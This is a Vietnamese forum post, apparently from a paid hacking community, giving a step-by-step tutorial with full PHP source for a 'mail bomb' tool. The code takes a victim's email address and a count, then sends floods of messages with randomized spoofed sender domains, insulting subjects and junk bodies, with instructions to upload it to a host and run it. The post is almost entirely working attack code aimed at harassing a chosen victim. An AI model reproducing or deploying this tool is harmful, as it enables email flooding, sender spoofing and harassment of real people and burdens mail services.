• Downloading from our site will require you to have a paid membership. Upgrade to a Premium Membership from 10$ a month today!

    Dont forget read our Rules! Also anyone caught Sharing this content will be banned. By using this site you are agreeing to our rules so read them. Saying I did not know is simply not an excuse! You have been warned.

Hướng dẫn viết code boom mail đơn giản

Admin

Well-Known Member
Staff member
Administrator
----- Yêu cầu:
- Biết sơ qua về php, html, css.
- Biết mình đang làm gì

----- Bắt đầu:
Bước 1: Xác định bài toán:
- Chúng ta sẽ viết 1 chương trình php đơn giản, trong đó sử dụng hàm mail gửi mail liên tục về 1 địa chỉ victim cố định, gây ngập lụt hòm mail đối phương.
- Thông tin cần thiết gồm có:
+ Địa chỉ email của victim
+ Địa chỉ gửi đi
+ Số lượng mail gửi đi

Bước 2: Xây dựng mã HTML:
- Tạo 1 form HTML đơn giản, nhập email đối phương, số lượng, và nút Bom:

PHP:
<html>
<body><center>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" name="bom">
Victim:<input name="mail" type=""text"><br>
Số lượng: <input name="soluong" type="text"><br>
<input type="submit" name="submit" value="Bom">
</form>
</center></body>
</html>

------> OK!

Bước 3: xây dựng mà PHP:
- Xây dựng hàm tạo chuỗi string random, mục đích đưa vào làm domain giả gửi mail, làm tiêu đề và nội dung:

PHP:
function rand_string($length) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
    $size = strlen( $chars );
    for( $i = 0; $i < $length; $i++ ) {
        $str .= $chars[ rand( 0, $size - 1 ) ];
    }
    return $str;
}

- Truyền biến:

PHP:
$mail=$_POST['mail'];
$soluong=$_POST['soluong'];
$i=1;

- Xây dựng hàm mail gửi đi khi nhấn nút boom:

PHP:
If ($_POST['submit']){
While ($i<=$soluong){
mail($mail,$subject,$content,$header);
$i++;
}
}

- Thêm các giá trị random vào vòng lặp while:

PHP:
$content=rand_string(100)." - Password để ngừng bom mail: " md5(rand_string(10));
$subject="**** you - ".rand_string(10). " - " .md5(rand_string(10));
$mailfrom="tuoitrevn-".rand_string(8)."@".rand_string(6).".com";
$header="From: $mailfrom<$mailfrom>" . "\r\n" .
              "X-Mailer: PHP/" . phpversion();

Bước 4: Ghép php vào html và lưu lại dưới dạng file php. Up lên host và chạy thôi

Demo Code:

PHP:
<html>
<body><center>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" name="bom">
Victim:<input name="mail" type=""text"><br>
Số lượng: <input name="soluong" type="text"><br>
<input type="submit" name="submit" value="Bom">
<?php
function rand_string($length) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
    $size = strlen( $chars );
    for( $i = 0; $i < $length; $i++ ) {
        $str .= $chars[ rand( 0, $size - 1 ) ];
    }
    return $str;
}
$mail=$_POST['mail'];
$soluong=$_POST['soluong'];
$i=1;
If ($_POST['submit']){
While ($i<=$soluong){
$content=rand_string(100)." - Password để ngừng bom mail: ". md5(rand_string(10));
$subject="**** you - ".rand_string(10). " - " .md5(rand_string(10));
$mailfrom="tuoitrevn-".rand_string(8)."@".rand_string(6).".com";
$header="From: $mailfrom<$mailfrom>" . "\r\n" .
              "X-Mailer: PHP/" . phpversion();
mail($mail,$subject,$content,$header);
$i++;
echo $i." ".$mailfrom." - ".$mail."<br>";
}
}
?>
</form>
</center></body>
</html>
 
Chưa login vào site đó trong ngày hôm nay, thím ăn nói cho cẩn thận
 

Facebook Comments

New posts New threads New resources

Back
Top